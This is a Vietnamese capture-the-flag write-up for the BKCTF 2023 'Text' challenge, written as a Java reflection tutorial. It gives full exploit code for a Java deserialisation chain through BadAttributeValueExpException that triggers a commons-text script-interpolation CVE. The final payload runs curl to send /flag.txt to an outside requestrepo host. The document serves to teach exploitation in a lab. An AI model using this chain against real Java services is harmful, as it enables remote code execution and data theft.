Try   HackMD

[Learning] Java Reflection Phần 2

Tiếp tục với phần 2 này mình sẽ làm một số bài CTF, để chi tiết hơn về các áp dụng Reflection

Challenge Text (BKCTF 2023)

Link download src: https://github.com/onsra03/WriteUp_CTF/blob/main/bkctf2023-textext.zip

Setup:

Sau khi các bạn tải về, truy cập vào folder như sau:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • Ở đây mình setup trên windows, nên mình sử dụng Docker Desktop

  • Run Docker app lên và sử dụng command sau: ./build-docker.sh hoặc bash build-docker.sh đều được nha.

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Nếu bị lỗi sau thì các bạn tạo lại file build-docker.sh và dán lại nội dung file cũ.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Sau khi chạy xong kiểm tra như sau là được:
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • Truy cập http://localhost:1337/text/get-name

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Tiếp theo là setup bằng IntelliJ để debug.
(Nếu mọi người có mail sinh viên edu thì được dùng free)

  • Tạo mới 1 project như sau:

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • Tiếp theo sẽ add SDK và Lib vào project, sử dụng tổ hợp Ctrl + Shift + Alt + S

  • Mình sử dụng jdk-8u202 và lib thì có ở trong src

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Add lib java và chọn 2 file jar vào.
Như này là thành công rồi nha
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Tiếp theo mình sẽ tạo class Player:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

package com.text.controller; import java.io.Serializable; import org.apache.commons.text.StringSubstitutor; /* loaded from: Player.class */ public class Player implements Serializable { private String name = "cc"; private boolean isAdmin; public String getName() { return this.name; } public boolean isAdmin() { return this.isAdmin; } public String toString() { String output = ""; if (isAdmin()) { try { StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); output = stringSubstitutor.replace(this.name); } catch (Exception e) { output = "???????"; } } return "Hello" + output + "!"; } }

Class file này từ file text.war, các bạn có thể sử dụng JADX để đọc 2 file class trong đó nha. Ở đây mình đã mô phỏng lại.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

OK tiếp tục mình tạo thêm 1 class file là Exploit để test:

package com.text.controller; import org.apache.commons.text.StringSubstitutor; import java.lang.reflect.Field; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64; public class Exploit { static String serializeAndEncode(Object object) { try { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(object); oos.close(); byte[] bytes = bos.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } catch (IOException e) { throw new RuntimeException(e); } } public static void main(String[] args) { Player b = new Player(); System.out.println(serializeAndEncode(b)); } }

Vậy là phần setup hoàn thiện, bây giờ mình sẽ chuyển qua phân tích và khai thác lỗi của bài:

Phân tích:

Review src:

Đầu tiên mình sẽ kiểm tra qua các api xử lí của bài, ở file PlayerController:

@WebServlet(urlPatterns = {"/get-name"}) /* loaded from: PlayerController.class */ public class PlayerController extends HttpServlet implements Serializable { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html"); PrintWriter out = resp.getWriter(); String player = req.getParameter("player"); try { byte[] data = Base64.getDecoder().decode(player); InputStream is = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(is); Object obj = ois.readObject(); ois.close(); Player user = (Player) obj; out.println("<h1> Hello: " + user.getName() + " !</h1>"); } catch (Exception e) { out.println("<h1> ????????? </h1>"); } } }

Đoạn code có một entrypoint /get-name nhận vào một param player, tiếp tục nó sẽ decode base64 và unserialize rồi gọi ra getName() của obj.
Nếu vào trường hợp ngoại lệ thì sẽ in ra ??????????

Đoạn code trong Player.class:

public class Player implements Serializable { private String name = "player"; private boolean isAdmin; public String getName() { return this.name; } public boolean isAdmin() { return this.isAdmin; } public String toString() { String output = ""; if (isAdmin()) { try { StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator(); output = stringSubstitutor.replace(this.name); } catch (Exception e) { output = "???????"; } } return "Hello" + output + "!"; } }

Quay lại IntelliJ nãy để mình gen ra chuỗi input, ở String name trong Player mình sẽ sửa chuỗi thành onsra và qua Exploit class để gen.


  • Oke quay lại với file Player.Class
    Chú ý ở đây có sử dụng StringSubstitutor của org.apache.commons.text, class này replace name mà mình đưa vào, tương tự như các template engine

Một điều nữa, lib ở đây chúng ta sử dụng là commons-text-1.9 sẽ bị ảnh hưởng bởi CVE sau: https://commons.apache.org/proper/commons-text/security.html. (CVE này sẽ ảnh hưởng đến những version < 1.10.0)

Exploit CVE này: https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138

  • Nhưng muốn trigger được CVE thì obj Player phải là Admin. Ở bài viết này là phần tiếp theo của Java Reflection phần 1, nên ta sẽ áp dụng nó để change giá trị private của isAdmin

Exploit:

Code thực hiện như sau:

package com.text.controller; import org.apache.commons.text.StringSubstitutor; import java.lang.reflect.Field; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64; public class Exploit { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException { Player a = new Player(); System.out.println(a.isAdmin()); //change Class<?> myClass = a.getClass(); Field isAdmin = myClass.getDeclaredField("isAdmin"); isAdmin.setAccessible(true); isAdmin.set(a,true); System.out.println(a.isAdmin()); } }

Sau khi run thì ta có thể thấy giá trị Admin giờ là true.

First toString()it appears in the CC5 chain as a calling method. The entrance to the CC5 chain is BadAttributeValueExpException.readObject()

  • Trong tương lai thì mình sẽ phân tích tất cả các CC chain của JAVA <3
    Quay lại với bài.
// Class BadAttributeValueExpException in BadAttributeValueExpException.java private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); }

Với ý tưởng là mình sẽ thay thế valObj bằng Player để kích hoạt Player.toString

package com.text.controller; import org.apache.commons.text.StringSubstitutor; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64; public class Exploit { static String serializeAndEncode(Object object) { try { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(object); oos.close(); byte[] bytes = bos.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } catch (IOException e) { throw new RuntimeException(e); } } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException { Player a = new Player(); System.out.println(a.isAdmin()); //change Class<?> myClass = a.getClass(); Field isAdmin = myClass.getDeclaredField("isAdmin"); isAdmin.setAccessible(true); isAdmin.set(a,true); // System.out.println(serializeAndEncode(a)); Field name = myClass.getDeclaredField("name"); name.setAccessible(true); name.set(a,"${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}"); // System.out.println(serializeAndEncode(a)); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException, a); System.out.println(serializeAndEncode(badAttributeValueExpException)); } }

Đoạn code trên là những gì mình đã giải thích, change Player thành Admin, và sử dụng payload CVE, cuối cùng là trigger toString.

Đến đây ta có thể tạo thêm một class nữa PlayerController để test payload trên local của mình.

//PlayController.class package com.text.controller; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.Serializable; import java.util.Base64; public class PlayerController implements Serializable { public static void main(String[] args){ String player = "payload base64"; try { byte[] data = Base64.getDecoder().decode(player); InputStream is = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(is); Object obj = ois.readObject(); ois.close(); Player user = (Player) obj; System.out.println("<h1> Hello: " + user.getName() + " !</h1>"); } catch (Exception e) { System.out.println("<h1> ????????? </h1>"); } } }

Sau khi run file Exploit.class để lấy payload base64

Ta sẽ đưa qua PlayerController:

Vậy là đã thành công gọi calc popup.

Việc còn lại là lấy flag, khi setup thì ta biết flag nằm ở root, bằng cách sử dụng command curl -d @/flag.txt http://linkrequestrepo
Final payload chỉ cần thay ở đoạn command như sau:

name.set(a,"${script:javascript:java.lang.Runtime.getRuntime().exec('curl -d @/flag.txt http://6jgdyb66.requestrepo.com')}");

Nhớ urlencode đoạn payload base64, vì có một số kí tự + nó sẽ hiểu là space nên request bị sai.